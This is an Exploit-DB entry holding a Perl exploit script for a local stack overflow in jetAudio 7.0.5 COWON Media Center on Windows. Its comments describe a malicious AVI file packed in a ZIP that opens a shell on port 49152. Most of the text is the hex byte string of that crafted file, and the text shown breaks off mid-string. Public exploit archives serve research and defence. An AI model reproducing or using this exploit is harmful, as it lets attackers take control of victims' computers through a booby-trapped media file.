Exploit-DB #4751
Description: jetAudio 7.0.5 COWON Media Center MP4 - Local Stack Overflow
Type: local
Platform: windows
Date: 2007-12-18
Author: SYS 49152

Exploit:
#!/bin/perl
#
# jetAudio 7.0.5 COWON Media Center MP4 Stack Overflow
# 
# 0-day discovered and exploited by SYS 49152
# 
# Tested on win XP SP2 ENG
# Shell on port 49152
# 
# usage:
# - download the latest 3ivx codec from here:
#   hxxp://www.3ivx.com/codec/3ivx_MPEG-4_501_trial_win.exe
# 
# - play the AVI file with COWON Media Center 
# 
# Maybe I will add more vulnerable apps if I have time.
# SYS 49152
# 
# gforce(put the @ here)operamail(put the . here)com

use Archive::Zip qw( :ERROR_CODES :CONSTANTS ); 

# begin binary data:
$bin_data = # 3289
"\x50\x4B\x03\x04\x14\x00\x00\x00\x08\x00\xDA\x6C\x91\x37\x9C".
"\x4D\x90\x80\x69\x0C\x00\x00\x5C\xC2\x01\x00\x07\x00\x00\x00".
"\x6A\x65\x74\x2E\x61\x76\x69\xED\xD7\x7B\x58\xD4\x55\x1A\x07".
"\xF0\x77\x06\xF0\x82\x97\x47\x4D\xC1\xAC\xA5\x31\xB4\x2C\x03".
"\x61\x00\x05\xB3\x44\x64\xC0\x4C\xC4\x2B\x78\x41\x6C\x60\x46".
"\x19\x61\xB8\xCC\x0C\x20\xA6\x84\x62\x5E\xC9\xAD\xD0\xD2\x92".
"\x15\x4D\x4B\xCB\xA7\x52\x2B\xCD\xB6\xD4\xA7\xCC\x28\xA3\xEC".
"\xAA\x95\xB6\xD9\x45\x58\xDA\x52\x22\xCD\x5B\xED\xFB\xCE\x39".
"\x23\xB8\x3D\x7B\x79\x9E\xDD\x67\xFF\xFA\x7E\xEA\xF5\x9C\xF9".
"\xCD\xEF\x77\x2E\xEF\x39\xBF\x33\x4A\x44\xA6\x59\x9E\xB2\xC2".
"\x94\xE8\x11\x26\x62\x52\x3A\x0B\xA3\xCD\x0E\x77\x81\x53\x3E".
"\x93\xA1\x2E\xD8\x59\x50\x50\xC2\xB5\x3C\x67\x49\x8E\x4D\x2E".
"\xED\x4B\xFB\xC3\xF9\x03\x39\xD3\xBE\x23\x32\x4E\x21\xBA\x79".
"\x11\x19\x48\xFE\x6F\x75\xD5\x87\xDF\x7F\x8E\xA7\x7F\xC9\x48".
"\xD4\xA5\xD6\xE3\xB2\xE6\x72\x3D\xC3\x93\xEB\xED\xB3\xBD\xF4".
"\xB9\x2F\x2D\x44\x5A\xD2\xAD\x71\xBF\x6D\x18\xAE\xFC\xF1\x8F".
"\x17\x5B\xC5\x5F\xF5\xA9\xCB\x30\xA7\xCD\x61\xE5\x8A\xC9\x69".
"\x6B\x9D\x97\xEA\x63\x7B\x22\x75\x9A\x42\x93\xDF\xF0\xDE\xD8".
"\x37\xC7\x96\xE7\xF2\x3D\xE5\x2E\x28\xCE\xA7\xAB\x75\xFE\xC9".
"\xE9\xC8\x9F\xC5\x95\x6E\x6E\xA7\x6A\x48\xEB\x67\x53\xD7\xAF".
"\xB7\xB9\xEC\xB3\xF4\x35\x19\x52\xE7\x62\x57\x9E\x49\xD5\x3B".
"\xEF\x76\x7B\xB2\xF2\xB8\x3E\xDB\xED\x71\xFB\x9E\x95\x7B\xD2".
"\x79\x11\xAC\x6D\x3E\x2B\x46\xEA\x26\x05\x0F\x4F\x44\xD9\xDD".
"\x36\xB7\x54\xFC\x2A\x2A\x2A\x6E\xE4\xD2\x9F\xCB\x9E\xF1\xBD".
"\xC8\x18\x44\xC6\x61\x5B\xC9\xD0\xFC\x4E\x00\x5F\x31\xF6\xE8".
"\xD6\x8E\x0B\x03\xE7\x95\x7A\xBB\x3D\x1E\x77\x6B\xB3\xC6\x4F".
"\xF8\x21\xA9\x0F\xE0\xEE\xB3\xAF\x74\xA2\xBA\xEC\xA5\xCB\x50".
"\x8E\xCE\xAA\xDE\x29\x8F\xEF\x9B\x47\x57\xC8\xF3\xD4\xFE\xFF".
"\x14\xEF\xF2\x10\x2E\x71\xFC\xC4\x21\xF5\x5D\x1C\x1F\x71\x6C".
"\xE7\xA8\xE0\xE0\x35\x32\x2C\xD1\xDF\x6D\xE6\x78\x8A\x63\x07".
"\xC7\xE3\xFA\xDE\xB5\x1C\xBC\x67\x0D\x3C\x7E\xC3\x06\x8E\x2A".
"\x8E\xA7\x39\x38\xCD\x86\xF9\x1C\xEF\xE9\xCF\x7F\xE4\x58\xAF".
"\xE3\x63\x8E\x2F\x39\x16\x70\xBC\xCA\x91\xC1\x91\xC5\xB1\x5B".
"\xF7\xC9\xCB\x6A\x48\xE1\x78\x94\x83\xDF\x11\xC3\x21\x5D\x5F".
"\xAC\xEB\x0F\x72\x3C\xC7\xF1\x08\x07\xE7\xD7\xB0\x8A\xA3\x90".
"\x63\x94\xEA\xDF\x18\xC8\x65\x19\xC7\x44\x8E\x34\xDD\x56\x14".
"\xC7\x72\x0E\x87\xBE\xB7\x98\xC3\xC3\x91\xC4\x71\x40\xDF\x7F".
"\x9C\xE3\x1B\x7D\x7D\x0C\xC7\x6C\x1D\x2E\x5D\xCE\x6B\x53\xDA".
"\x74\x3B\x32\xEE\xFB\x38\xEC\xFA\x3E\x99\xFF\x43\x3A\x16\x72".
"\x3C\xC6\xB1\x93\xE3\x7E\x1D\x72\x5D\xC6\xBD\x9A\x54\x2E\xD7".
"\xEA\xFA\x33\xFA\x5E\xC9\xC7\xD7\x1C\x17\x48\xCD\xF1\x61\x52".
"\xF3\xE3\x73\xC3\x9B\x17\x5F\xAE\x64\x9C\x8B\xF4\xB3\x2F\xE8".
"\xF2\x45\x8E\xEF\x39\x4E\x70\xAC\x21\x35\xBE\x39\xD4\xBA\x96".
"\x6F\x72\xEC\x25\x95\x7F\x19\xAB\xAC\xD1\xEB\x1C\xF7\xE8\xF6".
"\xF9\x1D\xF4\xE6\x5B\xD6\x56\xF2\x54\x4A\x6A\xED\xA5\xED\x7B".
"\x39\xAA\x49\xE5\xE9\x0B\x8E\xBF\x92\x5A\x4B\xC9\xA9\x8C\x43".
"\xD6\x77\x2E\xC7\x36\x8E\xA5\xFA\x7E\x99\xAB\xCC\x21\x87\xD4".
"\x38\xEC\xFA\x79\xC9\xFD\x3C\xDD\x47\xDB\x79\xF1\xD9\x64\x58".
"\xC6\x51\xCB\xB1\x55\x97\xF2\x5C\xB9\xBE\x3F\x5F\x7F\x96\xFB".
"\x65\x6C\x45\xBA\xCD\x3A\x8E\xCF\x49\x8D\x63\xA1\xEE\x9F\xDF".
"\x47\x6F\xBE\x57\x90\xCA\x97\xB4\x2D\x6B\xE6\xD2\xED\x48\x3E".
"\x64\xDD\x66\xEB\xE7\x64\x6F\xC9\x5C\x65\x6F\x7F\x40\x6A\x2F".
"\xCB\xF5\x55\xFA\xBE\xFB\xF4\x33\xB2\x37\x64\xDE\x0B\x74\xFB".
"\xF3\x75\xBB\xF2\x7D\x3D\xA9\x77\x41\xD6\xC0\xA9\xFB\x92\xFB".
"\x65\x8C\x32\x66\xB7\xEE\x5B\xFA\x9C\xAE\xAF\xF3\xB3\x7C\xB0".
"\xA8\xF5\x92\x79\xCA\xFC\x72\xDA\xDC\x3B\x5D\xDF\x2F\x39\x93".
"\x9C\x4A\x1E\x7C\x63\x9D\xAF\xEB\xCB\xF5\x67\x59\xE7\x3D\x1C".
"\x9B\x48\x8D\x51\xDA\x94\xB9\xC8\x78\x66\xE8\x67\xFF\x46\x6A".
"\x1D\xA5\x2E\xEB\x25\x7B\xA5\x80\xD4\x7B\x24\xE3\x29\xD2\xFD".
"\xF8\xE6\x27\xB9\x7C\x5C\xF7\x25\x73\x91\x1C\xC8\x1E\xFA\x5A".
"\xDF\x2B\x21\x6B\xF1\x29\xA9\xFD\x2C\x7B\x45\x72\x26\x7B\x44".
"\xF6\x6E\x96\xEE\x47\xE6\x94\xDB\xE6\x99\x32\xDD\x5F\xAE\xBE".
"\x5F\xEE\x95\xF7\xE4\x49\x8E\x07\x48\xED\x9D\x23\xA4\xE6\x23".
"\x63\x90\x33\xE4\x15\x52\xEF\x88\xEC\xB1\x4A\x8E\x93\xA4\xE6".
"\xCA\x47\xBD\x37\xD7\x32\x0F\x99\x97\xBC\x53\xB2\x1E\x35\xA4".
"\x72\x20\xE3\x93\xB1\x1F\xD4\xED\x1C\x25\xB5\xB6\x92\x6F\x99".
"\xA3\xAC\xB5\xEC\x3B\x19\x97\xEF\x7D\x3E\x4C\x2A\xFF\xF2\xEC".
"\x6C\x7D\x5D\x4A\x59\x57\x99\x8F\xAC\xB9\x8C\x5D\xDE\xB1\x1C".
"\xDD\x77\x81\xFE\xEC\x5B\xEB\xA9\xA4\xD6\x47\xDA\x90\x31\x96".
"\xE9\xBA\xEC\x6D\x19\xBF\x9C\x63\x0F\xEB\x76\x5E\xE2\x18\x47".
"\x6A\xEE\xD2\xB6\xE4\x71\x04\xA9\xF1\x8E\x25\xB5\xC6\xC3\x49".
"\xE5\x6A\x87\xBE\x16\x47\xEA\x1D\x91\x73\xF8\x0E\x8E\x3B\x39".
"\x9E\xE7\x88\xD5\xED\xCB\xFC\x27\x93\x5A\x17\x99\x13\xFF\xBD".
"\xC2\x9B\xCB\x4C\x7D\xBF\xAC\xBD\xBC\x83\x32\xB7\xC1\xA4\xF6".
"\x8C\x94\x92\x8F\x16\x52\xEB\x2C\xE7\xA3\xE4\x21\x9E\x63\x1A".
"\xC7\x8D\xA4\xC6\x26\xF9\x1C\xA0\xFB\x97\x79\x48\x3E\xE5\x8C".
"\x95\xFD\x21\xE7\x9B\xE4\x72\x8E\x7E\x56\xEA\x92\x33\xC9\xCD".
"\x4C\x7D\x5D\x72\x21\x39\x97\x75\x93\xBD\x55\xA5\xCB\xFE\xA4".
"\xD6\x58\xEA\xEF\x93\xCA\xC5\x0F\xA4\xCE\x7D\x69\x47\xF2\x29".
"\xE7\x98\xE4\x61\x0B\xA9\x33\x4C\xEE\x29\xD5\x6D\xFA\xD6\xF5".
"\x2B\x52\x39\x97\x3D\x26\xE7\x9B\xEF\xCC\x90\x31\xC8\x1A\xCA".
"\x79\x65\x21\x75\xDE\x39\xF5\x73\xF2\xFD\x42\x7D\xED\x01\xDD".
"\x97\x44\x3F\xFE\x9D\xBC\xC8\x25\xFF\x66\x7B\x73\x20\x39\x32".
"\x73\x04\x73\x74\xD0\x63